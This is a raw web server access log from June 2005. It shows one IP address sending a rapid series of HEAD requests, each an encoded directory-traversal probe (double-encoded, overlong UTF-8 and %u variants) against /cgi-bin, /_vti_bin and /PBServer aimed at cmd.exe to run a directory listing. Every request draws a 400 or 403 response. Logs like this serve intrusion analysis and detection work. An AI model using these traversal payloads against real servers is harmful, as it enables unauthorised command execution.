[17/Jun/2005:19:33:10 -0400] "HEAD /cgi-bin/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:10 -0400] "HEAD /cgi-bin/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:10 -0400] "HEAD /cgi-bin/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:11 -0400] "HEAD /cgi-bin/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:12 -0400] "HEAD /cgi-bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:13 -0400] "HEAD /cgi-bin/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:13 -0400] "HEAD /cgi-bin/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:13 -0400] "HEAD /cgi-bin/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:13 -0400] "HEAD /cgi-bin/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:13 -0400] "HEAD /cgi-bin/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:13 -0400] "HEAD /_vti_bin/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:13 -0400] "HEAD /_vti_bin/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:13 -0400] "HEAD /_vti_bin/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:13 -0400] "HEAD /_vti_bin/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:13 -0400] "HEAD /_vti_bin/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:14 -0400] "HEAD /_vti_bin/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:15 -0400] "HEAD /_vti_bin/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:16 -0400] "HEAD /_vti_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:17 -0400] "HEAD /_vti_bin/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /_vti_bin/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /_vti_bin/..%u005c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /_vti_bin/..%u002e..%u002e/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /_vti_bin/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /_vti_bin/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /_vti_bin/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /PBServer/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /PBServer/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /PBServer/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:18 -0400] "HEAD /PBServer/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%c1%9c/winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:19 -0400] "HEAD /PBServer/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:20 -0400] "HEAD /PBServer/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:21 -0400] "HEAD /PBServer/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 403 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:22 -0400] "HEAD /PBServer/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:23 -0400] "HEAD /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - [17/Jun/2005:19:33:23 -0400] "HEAD /PBServer/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.1" 400 - "-" "-" 24.125.77.105 - - 